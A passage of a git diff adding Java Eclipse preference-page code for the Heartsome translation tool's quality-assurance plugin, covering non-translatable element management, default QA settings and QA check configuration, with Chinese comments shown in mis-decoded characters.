widgetSelected(SelectionEvent e) { + addInternalElement(); + comboViewer.getCombo().setText(Messages.getString("qa.preference.NonTranslationQAPage.addInterElement")); + } + + public void widgetDefaultSelected(SelectionEvent e) { + addInternalElement(); + comboViewer.getCombo().setText(Messages.getString("qa.preference.NonTranslationQAPage.addInterElement")); + } + }); + + // éžè¯‘元素列表的点击事件 + tableViewer.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + if (structuredSelection.getFirstElement() instanceof NontransElementBean) { + if (structuredSelection.size() == 1 && + !validIsInternalElementNonTip((NontransElementBean)structuredSelection.getFirstElement())) { + editBtn.setEnabled(true); + }else { + editBtn.setEnabled(false); + } + deleteBtn.setEnabled(true); + }else { + setAddModel(); + } + }else { + setAddModel(); + } + } + }); + + tableViewer.addDoubleClickListener(new IDoubleClickListener() { + public void doubleClick(DoubleClickEvent arg0) { + editNontransElement(); + } + }); + } + + /** + * è®¾ç½®æ·»åŠ æ¨¡å¼ + */ + private void setAddModel(){ + editBtn.setEnabled(false); + deleteBtn.setEnabled(false); + } + + /** + * 验è¯æ˜¯å¦æ˜¯å†…ç½®éžè¯‘元素 + * @return + */ + private boolean validIsInternalElementNonTip(NontransElementBean curElement){ + String selectedElementId = curElement.getId(); + if ("qaInternalNonTrans_ip".equals(selectedElementId) || "qaInternalNonTrans_email".equals(selectedElementId) + || "qaInternalNonTrans_web".equals(selectedElementId)) { + return true; + } + return false; + } + + + /** + * 添加éžè¯‘元素 + */ + public void addNonTransElement() { + NontransElementBean bean = new NontransElementBean(); + AddOrEditNontransElementDialog dialog = new AddOrEditNontransElementDialog(getShell(), true, tableViewer, bean); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + // 先添加到listViewer中 + dataList.add(bean); + tableViewer.refresh(); + tableViewer.setSelection(new StructuredSelection(bean)); + } + } + + /** + * 编辑éžè¯‘元素 + */ + private void editNontransElement(){ + NontransElementBean bean = null; + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + if (structuredSelection.getFirstElement() instanceof NontransElementBean) { + bean = (NontransElementBean) structuredSelection.getFirstElement(); + if (validIsInternalElementNonTip(bean)) { + return; + } + AddOrEditNontransElementDialog dialog = new AddOrEditNontransElementDialog(getShell(), false, tableViewer, bean); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + tableViewer.refresh(); + } + } + } + } + + /** + * 删除列表中的éžè¯‘元素 + */ + @SuppressWarnings("unchecked") + public void deleteElement() { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + boolean confirm = MessageDialog.openConfirm(getShell(), Messages.getString("qa.preference.NonTranslationQAPage.enter"), + Messages.getString("qa.preference.NonTranslationQAPage.enterDelete")); + if (!confirm) { + return; + } + + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Iterator iter = structuredSelection.iterator(); + while (iter.hasNext()) { + NontransElementBean selectElement = iter.next(); + dataList.remove(selectElement); + } + tableViewer.refresh(); + } + } + + /** + * 如果点击默认,那么é‡æ–°ä»Žéžè¯‘元素的库中å–值,å†åˆ é™¤ä¹‹å‰æ‰€æ·»åŠ æˆ–删除的éžè¯‘元素 + */ + @Override + protected void performDefaults() { + dataList = QAModel.getInterNonTransElements(); + tableViewer.setInput(dataList); + + setAddModel(); + } + + @Override + public boolean performOk() { + if (!isInit) { + return true; + } + // é历列表,获å–出è¦æ·»åŠ çš„æ•°æ® + List addElementList = new ArrayList(); + NontransElementBean listViewerBean; + int listViewerNum = tableViewer.getTable().getItemCount(); + for (int i = 0; i < listViewerNum; i++) { + if (tableViewer.getElementAt(i) instanceof NontransElementBean) { + listViewerBean = (NontransElementBean)tableViewer.getElementAt(i); + addElementList.add(listViewerBean); + } + } + + // 删除所有éžè¯‘元素 + operate.deleteAllElement(); + + // å†è¿›è¡Œç›¸å…³æ“作,先添加 + if (addElementList.size() > 0) { + operate.addNonTransElement(addElementList); + } + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + int oldValue = store.getInt(QAConstant.QA_PREF_nonTrans_changeTag); + store.setValue(QAConstant.QA_PREF_nonTrans_changeTag, ++oldValue); + return true; + } + + /** + * ç»™comboVieweråˆå§‹åŒ–内置元素 + */ + public void initInternalValue() { + comboViewer.getCombo().removeAll(); + comboViewer.setInput(internalElementList); + comboViewer.refresh(); + } + + /** + * 添加内置éžè¯‘元素 + */ + public void addInternalElement() { + ISelection selection = comboViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + NontransElementBean interBean = (NontransElementBean) structuredSelection.getFirstElement(); + if (interBean.getId() == null) { + return; + } + + int eleSum = tableViewer.getTable().getItemCount(); + for (int i = 0; i < eleSum; i++) { + NontransElementBean curBean = new NontransElementBean(); + if (tableViewer.getElementAt(i) instanceof NontransElementBean) { + curBean = (NontransElementBean) tableViewer.getElementAt(i); + + if (curBean.getId().equals(interBean.getId())) { + MessageDialog.openWarning(getShell(), Messages.getString("qa.all.dialog.warning"), MessageFormat + .format(Messages.getString("qa.preference.NonTranslationQAPage.tip5"), + interBean.getName())); + return; + } + } + } + dataList.add(interBean); + tableViewer.refresh(); + } + } + + /** + * tableViewer的标签æ供器 + * @author robert + */ + class NonTransElementTableProvider extends CellLabelProvider implements ITableLabelProvider { + private int index; + public NonTransElementTableProvider(){} + + public NonTransElementTableProvider(int index){ + this.index = index; + } + + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + public String getColumnText(Object element, int columnIndex) { + if (element instanceof NontransElementBean) { + NontransElementBean bean = (NontransElementBean)element; + switch (columnIndex) { + case 0: + return bean.getName(); + case 1: + return isNull(bean.getContent()) ? "" : bean.getContent(); + case 2: + return isNull(bean.getRegular()) ? "" : bean.getRegular(); + default: + return null; + } + } + return null; + } + @Override + public void update(ViewerCell cell) { + cell.setText(getColumnText(cell.getElement(), index)); + } + + @Override + public String getToolTipText(Object element) { + if (element instanceof NontransElementBean) { + NontransElementBean bean = (NontransElementBean)element; + switch (index) { + case 0: + return bean.getName(); + case 1: + return isNull(bean.getContent()) ? "" : bean.getContent(); + case 2: + return isNull(bean.getRegular()) ? "" : bean.getRegular(); + default: + return null; + } + } + return null; + } + + @Override + public Point getToolTipShift(Object object) { + return new Point(5, 5); + } + } + + /** + * éžè¯‘元素列表的标签æ供类 + * @author robert 2011-11-30 + */ + class NonTransElementCmbProvider extends LabelProvider { + @Override + public String getText(Object element) { + if (element instanceof NontransElementBean) { + return ((NontransElementBean)element).getName(); + } + return ""; + } + } + + @Override + public void dispose() { + super.dispose(); + } + + + + /** + * éžè¯‘元素的所显示的列中的排åºç±» + * @version + * @since JDK1.6 + */ + static class TableSorter extends ViewerSorter { + private static final int name_ID = 1; //éžè¯‘元素å称 + private static final int content_ID = 2; //éžè¯‘元素内容 + + public static final TableSorter name_ASC = new TableSorter(name_ID); + public static final TableSorter name_DESC = new TableSorter(-name_ID); + + public static final TableSorter content_ASC = new TableSorter(content_ID); + public static final TableSorter content_DESC = new TableSorter(-content_ID); + + + private int sortType; + + private TableSorter(int sortType) { + this.sortType = sortType; + } + + @Override + public int compare(Viewer viewer, Object e1, Object e2) { + NontransElementBean bean1 = (NontransElementBean) e1; + NontransElementBean bean2 = (NontransElementBean) e2; + switch (sortType) { + case name_ID: { + String name1 = bean1.getName(); + String name2 = bean2.getName(); + return name1.compareToIgnoreCase(name2); + } + case -name_ID: { + String name1 = bean1.getName(); + String name2 = bean2.getName(); + return name2.compareToIgnoreCase(name1); + } + case content_ID: { + String content1 = bean1.getContent(); + String content2 = bean2.getContent(); + return content1.compareToIgnoreCase(content2); + } + case -content_ID: { + String content1 = bean1.getContent(); + String content2 = bean2.getContent(); + return content2.compareToIgnoreCase(content1); + } + } + return 0; + } + } + + /** + * 判断是å¦ä¸ºç©º + * @param str + * @return + */ + public static boolean isNull(String str){ + if (str == null || "".equals(str)) { + return true; + } + return false; + } + + public static void main(String[] args) { + String regular = "(?i)this is a regular"; + if (regular.contains("\\b")) { + System.out.println("------------"); + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/QAInitializer.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/QAInitializer.java new file mode 100644 index 0000000..7196440 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/QAInitializer.java @@ -0,0 +1,106 @@ +package net.heartsome.cat.ts.ui.qa.preference; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.qa.Activator; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * 当本产å“一打开,åˆå§‹åŒ–å“质检查æ’件中缓存中的值 + * @author robert 2011-12-05 + */ +public class QAInitializer extends AbstractPreferenceInitializer { + private boolean isUltimate = CommonFunction.checkEdition("U"); + + @Override + public void initializeDefaultPreferences() { + IPreferenceStore preferenceStore = Activator.getDefault().getPreferenceStore(); + //-------------------------------QAPage中的默认项-------------------- + //å°†ä¸åŒ…å«ä¸Šä¸‹æ–‡åŒ¹é…的按钮设æˆé»˜è®¤é€‰ä¸­çŠ¶æ€ + if (isUltimate) { + preferenceStore.setDefault(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE, true); + } else { + preferenceStore.setDefault(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE, false); + } + preferenceStore.setDefault(QAConstant.QA_PREF_LOCKED_NOTINCLUDE, true); + + //将相åŒæºæ–‡ä¸åŒè¯‘文与相åŒè¯‘æ–‡ä¸åŒæºæ–‡ä¸‹çš„忽略大å°å†™ä¸Žå¿½ç•¥æ ‡è®°å…¨éƒ¨å‹¾é€‰ + preferenceStore.setDefault(QAConstant.QA_PREF_PARA_SAMESOURCE, true); + preferenceStore.setDefault(QAConstant.QA_PREF_PARA_SRC_IGNORCECASE, true); + preferenceStore.setDefault(QAConstant.QA_PREF_PARA_SRC_IGNORCETAG, true); + preferenceStore.setDefault(QAConstant.QA_PREF_PARA_SAMETARGET, true); + preferenceStore.setDefault(QAConstant.QA_PREF_PARA_TAR_IGNORCECASE, true); + preferenceStore.setDefault(QAConstant.QA_PREF_PARA_TAR_IGNORCETAG, true); + + //设置目标文本段长度é™åˆ¶æ£€æŸ¥çš„默认值 + preferenceStore.setDefault(QAConstant.QA_PREF_isCheckTgtMinLength, false); + preferenceStore.setDefault(QAConstant.QA_PREF_isCheckTgtMaxLength, false); + preferenceStore.setDefault(QAConstant.QA_PREF_tgtMinLength, "0"); + preferenceStore.setDefault(QAConstant.QA_PREF_tgtMaxLength, "0"); + + //-------------------------------QAPage中的默认项-------------------- + //默认情况下所有的å“质检查项全部选中,因此先将æ¯ä¸ªæ£€æŸ¥é¡¹çš„标识符用","组装起æ¥ã€‚(备注:由于现在åªå¼€å‘了五个检查项,因此这里åªåŠ äº†äº”个,以åŽæ¯å¼€å‘完æˆä¸€ä¸ªï¼Œå°±åŠ åˆ°è¿™é‡Œ) + String defaultItems = QAConstant.QA_TERM + "," + + QAConstant.QA_PARAGRAPH + "," + QAConstant.QA_NUMBER + "," + + QAConstant.QA_TAG + "," + QAConstant.QA_NONTRANSLATION + "," + + QAConstant.QA_SPACEOFPARACHECK + "," + + QAConstant.QA_PARACOMPLETENESS + "," + + QAConstant.QA_SPELL; + String autoDefaultItems = QAConstant.QA_TERM + "," + + QAConstant.QA_NUMBER + "," + QAConstant.QA_TAG + "," + + QAConstant.QA_SPELL; + + //默认情况下所有的å“质检查项全部选中,因此先将æ¯ä¸ªæ£€æŸ¥é¡¹çš„标识符用","组装起æ¥ã€‚ + preferenceStore.setDefault(QAConstant.QA_PREF_BATCH_QAITEMS, defaultItems); + preferenceStore.setDefault(QAConstant.QA_PREF_AUTO_QAITEMS, autoDefaultItems); + //默认为入库时执行 + preferenceStore.setDefault(QAConstant.QA_PREF_AUTO_QARUNTIME, QAConstant.QA_FIRST); + + // 设置默认错误级别 + preferenceStore.setDefault(QAConstant.QA_PREF_term_TIPLEVEL, 1); + preferenceStore.setDefault(QAConstant.QA_PREF_para_TIPLEVEL, 1); + preferenceStore.setDefault(QAConstant.QA_PREF_number_TIPLEVEL, 0); + preferenceStore.setDefault(QAConstant.QA_PREF_tag_TIPLEVEL, 0); + preferenceStore.setDefault(QAConstant.QA_PREF_nonTrans_TIPLEVEL, 1); + preferenceStore.setDefault(QAConstant.QA_PREF_spaceOfPara_TIPLEVEL, 1); + preferenceStore.setDefault(QAConstant.QA_PREF_paraComplete_TIPLEVEL, 1); + preferenceStore.setDefault(QAConstant.QA_PREF_tgtLengthLimit_TIPLEVEL, 0); + preferenceStore.setDefault(QAConstant.QA_PREF_spell_TIPLEVEL, 1); + + //-------------------------------SpellPage 中的默认项-------------------- + preferenceStore.setDefault(QAConstant.QA_PREF_isHunspell, true); + preferenceStore.setDefault(QAConstant.QA_PREF_realTimeSpell, true); + + preferenceStore.setDefault(QAConstant.QA_PREF_ignoreNontrans, false); + preferenceStore.setDefault(QAConstant.QA_PREF_ignoreDigitalFirst, false); + preferenceStore.setDefault(QAConstant.QA_PREF_ignoreUpperCaseFirst, false); + preferenceStore.setDefault(QAConstant.QA_PREF_ignoreAllUpperCase, true); + + + //-------------------------------文件分æžé¦–选项值的åˆå§‹åŒ–--------------- + preferenceStore.setDefault(QAConstant.FA_PREF_ignoreCase, true); + preferenceStore.setDefault(QAConstant.FA_PREF_ignoreTag, true); + if (isUltimate) { + preferenceStore.setDefault(QAConstant.FA_PREF_contextNum, 1); + } else { + preferenceStore.setDefault(QAConstant.FA_PREF_contextNum, 0); + } + preferenceStore.setDefault(QAConstant.FA_PREF_tagPenalty, 2); + preferenceStore.setDefault(QAConstant.FA_PREF_interRepeate, true); + preferenceStore.setDefault(QAConstant.FA_PREF_interMatch, false); + + + // 等效系数的设置,åˆå§‹åŒ–值,roebrt 2011-12-21 + if (isUltimate) { + preferenceStore.setDefault(QAConstant.FA_PREF_equivalent, + "internalRepeat:0.50;external101:0.50;external100:0.50;95-99:0.60;85-94:0.70;75-84:0.80;50-74:0.90;"); + }else { + preferenceStore.setDefault(QAConstant.FA_PREF_equivalent, + "internalRepeat:0.50;external100:0.50;95-99:0.60;85-94:0.70;75-84:0.80;50-74:0.90;"); + } + + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/QAInstalPage.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/QAInstalPage.java new file mode 100644 index 0000000..2c75f4d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/QAInstalPage.java @@ -0,0 +1,650 @@ +package net.heartsome.cat.ts.ui.qa.preference; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.resource.ImageConstant; + +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer; +import org.eclipse.nebula.widgets.tablecombo.TableCombo; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Widget; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class QAInstalPage extends PreferencePage implements IWorkbenchPreferencePage, Listener { + + public static final String ID = "net.heartsome.cat.ts.ui.qa.preference.QAInstalPage"; + public final static Logger logger = LoggerFactory.getLogger(QAInstalPage.class.getName()); + private IPreferenceStore preferenceStore; + private Map> qaItemId_Name_Class; + + private Button batchTermBtn; + private Button batchParaBtn; + private Button batchNumberBtn; + private Button batchTagBtn; + private Button batchNonTransBtn; + private Button batchSpaceOfParaBtn; + private Button batchParaCompleteBtn; + private Button batchTgtLengthLimitBtn; + private Button batchSpellBtn; + + private Button autoTermBtn; + //private Button autoParaBtn; + private Button autoNumberBtn; + private Button autoTagBtn; + private Button autoNonTransBtn; + private Button autoSpaceOfParaBtn; + private Button autoParaCompleteBtn; + private Button autoTgtLengthLimitBtn; + private Button autoSpellBtn; + + private TableComboViewer termCmb; + private TableComboViewer paraCmb; + private TableComboViewer numberCmb; + private TableComboViewer tagCmb; + private TableComboViewer nonTransCmb; + private TableComboViewer spaceOfParaCmb; + private TableComboViewer paraCompleteCmb; + private TableComboViewer tgtLengthLimitCmb; + private TableComboViewer spellCmb; + + /** 组件是å¦åˆå§‹åŒ– */ + private boolean isInit = false; + /** 批é‡æ£€æŸ¥æŒ‰é’®çš„值ï¼ï¼æ‰¹é‡æ£€æŸ¥ */ + private static final String CONSTANT_BATCHQA = Messages.getString("qa.preference.QAInstalPage.batchQA"); + /** 自动检查按钮的值ï¼ï¼è‡ªåŠ¨æ£€æŸ¥ */ + private static final String CONSTANT_AUTOQA = Messages.getString("qa.preference.QAInstalPage.autoQA"); + /** æ示级别按钮的值ï¼ï¼æ示级别 */ + private static final String CONSTANT_TIPLEVEL = Messages.getString("qa.preference.QAInstalPage.tipLevel"); + private static final String errorTip = Messages.getString("qa.all.tipLevel.error"); + private static final String warTip = Messages.getString("qa.all.tipLevel.warning"); + private final List CONSTANT_COMBOVALUE = new ArrayList(); + private Image errorImg; + private Image warnImg; + + private Button whenApprovalBtn; + private Button whenAddToDbBtn; + + + public QAInstalPage() { + setTitle(Messages.getString("qa.all.qa")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + QAModel qaModel = new QAModel(); + qaItemId_Name_Class = qaModel.getQaItemId_Name_Class(); + CONSTANT_COMBOVALUE.add(errorTip); + CONSTANT_COMBOVALUE.add(warTip); + } + + public void init(IWorkbench workbench) { + // TODO Auto-generated method stub + + } + + @Override + protected Control createContents(Composite parent) { + isInit = true; + try { + String bundlePath = FileLocator.toFileURL(Platform.getBundle("net.heartsome.cat.ts.ui.qa").getEntry("")).getPath(); + errorImg = new Image(getShell().getDisplay(), bundlePath + "icons/error.png"); + warnImg = new Image(getShell().getDisplay(), bundlePath + "icons/warning.png"); + + } catch (IOException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.preference.QAInstalPage.log1"), e); + } + + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group qaItemInstalGroup = new Group(tparent, SWT.NONE); + qaItemInstalGroup.setLayout(new GridLayout()); + GridDataFactory.fillDefaults().grab(true, false).hint(600, SWT.DEFAULT).applyTo(qaItemInstalGroup); + qaItemInstalGroup.setText(Messages.getString("qa.preference.QAInstalPage.qaInstal")); + + String tip = Messages.getString("preference.QAInstalPage.itemInstalLbl"); + HsImageLabel itemInstalLbl = new HsImageLabel(tip, + Activator.getImageDescriptor(ImageConstant.PREFERENCE_QA_instal_itemsChoose)); + Composite instalCmp = itemInstalLbl.createControl(qaItemInstalGroup); + GridLayoutFactory.fillDefaults().numColumns(4).spacing(20, 2) + .applyTo(instalCmp); + instalCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + GridLayout lCmpLayout = new GridLayout(2, false); + lCmpLayout.marginWidth = 0; + lCmpLayout.marginHeight = 0; + + GridData separatorLblData = new GridData(SWT.FILL, SWT.CENTER, true, false); + separatorLblData.horizontalSpan = 4; + + // 术语一致性检查 + Label termLbl = new Label(instalCmp, SWT.NONE); + termLbl.setText(qaItemId_Name_Class.get(QAConstant.QA_TERM).get(QAConstant.QA_ITEM_NAME)); + + batchTermBtn = new Button(instalCmp, SWT.CHECK); + batchTermBtn.setText(CONSTANT_BATCHQA); + + autoTermBtn = new Button(instalCmp, SWT.CHECK); + autoTermBtn.setText(CONSTANT_AUTOQA); + + Composite levelCmp = new Composite(instalCmp, SWT.NONE); + levelCmp.setLayout(lCmpLayout); + new Label(levelCmp, SWT.NONE).setText(CONSTANT_TIPLEVEL); + termCmb = new TableComboViewer(levelCmp, SWT.READ_ONLY|SWT.BORDER); + createTableCombo(termCmb); + + Label separatorLbl = new Label(instalCmp, SWT.SEPARATOR | SWT.HORIZONTAL); + separatorLbl.setLayoutData(separatorLblData); + + // 数字一致性检查 + Label numberLbl = new Label(instalCmp, SWT.NONE); + numberLbl.setText(qaItemId_Name_Class.get(QAConstant.QA_NUMBER).get(QAConstant.QA_ITEM_NAME)); + + batchNumberBtn = new Button(instalCmp, SWT.CHECK); + batchNumberBtn.setText(CONSTANT_BATCHQA); + + autoNumberBtn = new Button(instalCmp, SWT.CHECK); + autoNumberBtn.setText(CONSTANT_AUTOQA); + + levelCmp = new Composite(instalCmp, SWT.NONE); + levelCmp.setLayout(lCmpLayout); + new Label(levelCmp, SWT.NONE).setText(CONSTANT_TIPLEVEL); + numberCmb = new TableComboViewer(levelCmp, SWT.READ_ONLY|SWT.BORDER); + createTableCombo(numberCmb); + + separatorLbl = new Label(instalCmp, SWT.SEPARATOR | SWT.HORIZONTAL); + separatorLbl.setLayoutData(separatorLblData); + + + // 标记一致性检查 + Label tagLbl = new Label(instalCmp, SWT.NONE); + tagLbl.setText(qaItemId_Name_Class.get(QAConstant.QA_TAG).get(QAConstant.QA_ITEM_NAME)); + + batchTagBtn = new Button(instalCmp, SWT.CHECK); + batchTagBtn.setText(CONSTANT_BATCHQA); + + autoTagBtn = new Button(instalCmp, SWT.CHECK); + autoTagBtn.setText(CONSTANT_AUTOQA); + + levelCmp = new Composite(instalCmp, SWT.NONE); + levelCmp.setLayout(lCmpLayout); + new Label(levelCmp, SWT.NONE).setText(CONSTANT_TIPLEVEL); + tagCmb = new TableComboViewer(levelCmp, SWT.READ_ONLY|SWT.BORDER); + createTableCombo(tagCmb); + + separatorLbl = new Label(instalCmp, SWT.SEPARATOR | SWT.HORIZONTAL); + separatorLbl.setLayoutData(separatorLblData); + + // éžè¯‘元素检查 + Label nonTransLbl = new Label(instalCmp, SWT.NONE); + nonTransLbl.setText(qaItemId_Name_Class.get(QAConstant.QA_NONTRANSLATION).get(QAConstant.QA_ITEM_NAME)); + + batchNonTransBtn = new Button(instalCmp, SWT.CHECK); + batchNonTransBtn.setText(CONSTANT_BATCHQA); + + autoNonTransBtn = new Button(instalCmp, SWT.CHECK); + autoNonTransBtn.setText(CONSTANT_AUTOQA); + + levelCmp = new Composite(instalCmp, SWT.NONE); + levelCmp.setLayout(lCmpLayout); + new Label(levelCmp, SWT.NONE).setText(CONSTANT_TIPLEVEL); + nonTransCmb = new TableComboViewer(levelCmp, SWT.READ_ONLY|SWT.BORDER); + createTableCombo(nonTransCmb); + + separatorLbl = new Label(instalCmp, SWT.SEPARATOR | SWT.HORIZONTAL); + separatorLbl.setLayoutData(separatorLblData); + + + //段首段末空格检查 + Label spaceOfParaLbl = new Label(instalCmp, SWT.NONE); + spaceOfParaLbl.setText(qaItemId_Name_Class.get(QAConstant.QA_SPACEOFPARACHECK).get(QAConstant.QA_ITEM_NAME)); + + batchSpaceOfParaBtn = new Button(instalCmp, SWT.CHECK); + batchSpaceOfParaBtn.setText(CONSTANT_BATCHQA); + + autoSpaceOfParaBtn = new Button(instalCmp, SWT.CHECK); + autoSpaceOfParaBtn.setText(CONSTANT_AUTOQA); + + levelCmp = new Composite(instalCmp, SWT.NONE); + levelCmp.setLayout(lCmpLayout); + new Label(levelCmp, SWT.NONE).setText(CONSTANT_TIPLEVEL); + spaceOfParaCmb = new TableComboViewer(levelCmp, SWT.READ_ONLY|SWT.BORDER); + createTableCombo(spaceOfParaCmb); + + separatorLbl = new Label(instalCmp, SWT.SEPARATOR | SWT.HORIZONTAL); + separatorLbl.setLayoutData(separatorLblData); + + + //文本段完整性检查 + Label paraCompleteLbl = new Label(instalCmp, SWT.NONE); + paraCompleteLbl.setText(qaItemId_Name_Class.get(QAConstant.QA_PARACOMPLETENESS).get(QAConstant.QA_ITEM_NAME)); + + batchParaCompleteBtn = new Button(instalCmp, SWT.CHECK); + batchParaCompleteBtn.setText(CONSTANT_BATCHQA); + + autoParaCompleteBtn = new Button(instalCmp, SWT.CHECK); + autoParaCompleteBtn.setText(CONSTANT_AUTOQA); + + levelCmp = new Composite(instalCmp, SWT.NONE); + levelCmp.setLayout(lCmpLayout); + new Label(levelCmp, SWT.NONE).setText(CONSTANT_TIPLEVEL); + paraCompleteCmb = new TableComboViewer(levelCmp, SWT.READ_ONLY|SWT.BORDER); + createTableCombo(paraCompleteCmb); + + separatorLbl = new Label(instalCmp, SWT.SEPARATOR | SWT.HORIZONTAL); + separatorLbl.setLayoutData(separatorLblData); + + + //目标文本段长度é™åˆ¶æ£€æŸ¥ + Label tgtLengthLimitLbl = new Label(instalCmp, SWT.NONE); + tgtLengthLimitLbl.setText(qaItemId_Name_Class.get(QAConstant.QA_TGTTEXTLENGTHLIMIT).get(QAConstant.QA_ITEM_NAME)); + + batchTgtLengthLimitBtn = new Button(instalCmp, SWT.CHECK); + batchTgtLengthLimitBtn.setText(CONSTANT_BATCHQA); + + autoTgtLengthLimitBtn = new Button(instalCmp, SWT.CHECK); + autoTgtLengthLimitBtn.setText(CONSTANT_AUTOQA); + + levelCmp = new Composite(instalCmp, SWT.NONE); + levelCmp.setLayout(lCmpLayout); + new Label(levelCmp, SWT.NONE).setText(CONSTANT_TIPLEVEL); + tgtLengthLimitCmb = new TableComboViewer(levelCmp, SWT.READ_ONLY|SWT.BORDER); + createTableCombo(tgtLengthLimitCmb); + + separatorLbl = new Label(instalCmp, SWT.SEPARATOR | SWT.HORIZONTAL); + separatorLbl.setLayoutData(separatorLblData); + + + //拼写检查 + Label spellLbl = new Label(instalCmp, SWT.NONE); + spellLbl.setText(qaItemId_Name_Class.get(QAConstant.QA_SPELL).get(QAConstant.QA_ITEM_NAME)); + + batchSpellBtn = new Button(instalCmp, SWT.CHECK); + batchSpellBtn.setText(CONSTANT_BATCHQA); + + autoSpellBtn = new Button(instalCmp, SWT.CHECK); + autoSpellBtn.setText(CONSTANT_AUTOQA); + + levelCmp = new Composite(instalCmp, SWT.NONE); + levelCmp.setLayout(lCmpLayout); + new Label(levelCmp, SWT.NONE).setText(CONSTANT_TIPLEVEL); + spellCmb = new TableComboViewer(levelCmp, SWT.READ_ONLY|SWT.BORDER); + createTableCombo(spellCmb); + + separatorLbl = new Label(instalCmp, SWT.SEPARATOR | SWT.HORIZONTAL); + separatorLbl.setLayoutData(separatorLblData); + + // 文本段一致性检查 + Label paraLbl = new Label(instalCmp, SWT.NONE); + paraLbl.setText(qaItemId_Name_Class.get(QAConstant.QA_PARAGRAPH).get(QAConstant.QA_ITEM_NAME)); + + batchParaBtn = new Button(instalCmp, SWT.CHECK); + batchParaBtn.setText(CONSTANT_BATCHQA); + + new Label(instalCmp, SWT.NONE); + + levelCmp = new Composite(instalCmp, SWT.NONE); + levelCmp.setLayout(lCmpLayout); + new Label(levelCmp, SWT.NONE).setText(CONSTANT_TIPLEVEL); + paraCmb = new TableComboViewer(levelCmp, SWT.READ_ONLY|SWT.BORDER); + createTableCombo(paraCmb); + + separatorLbl = new Label(instalCmp, SWT.SEPARATOR | SWT.HORIZONTAL); + separatorLbl.setLayoutData(separatorLblData); + + itemInstalLbl.computeSize(); + // ---------------------------------自动检查策略设置 + Group autoIntalGroup = new Group(tparent, SWT.NONE); + autoIntalGroup.setLayout(new GridLayout()); + autoIntalGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + autoIntalGroup.setText(Messages.getString("qa.preference.QAInstalPage.autoQaInstal")); + + // 入库时执行 + whenAddToDbBtn = new Button(autoIntalGroup, SWT.CHECK); + whenAddToDbBtn.setText(Messages.getString("qa.preference.QAInstalPage.autoQaWhenAddToDb")); + whenAddToDbBtn.addListener(SWT.Selection, this); + + // 批准文本段åŽæ‰§è¡Œ + whenApprovalBtn = new Button(autoIntalGroup, SWT.CHECK); + whenApprovalBtn.setText(Messages.getString("qa.preference.QAInstalPage.autoQaWhenApproval")); + whenApprovalBtn.addListener(SWT.Selection, this); + + initValue(); + return parent; + } + + public void handleEvent(Event event) { + Widget widge = event.widget; + if (widge.equals(whenAddToDbBtn) || widge.equals(whenApprovalBtn)) { + setAutoItemSelected(); + } + } + + /** + * åˆå§‹åŒ–值 + */ + public void initValue() { + // 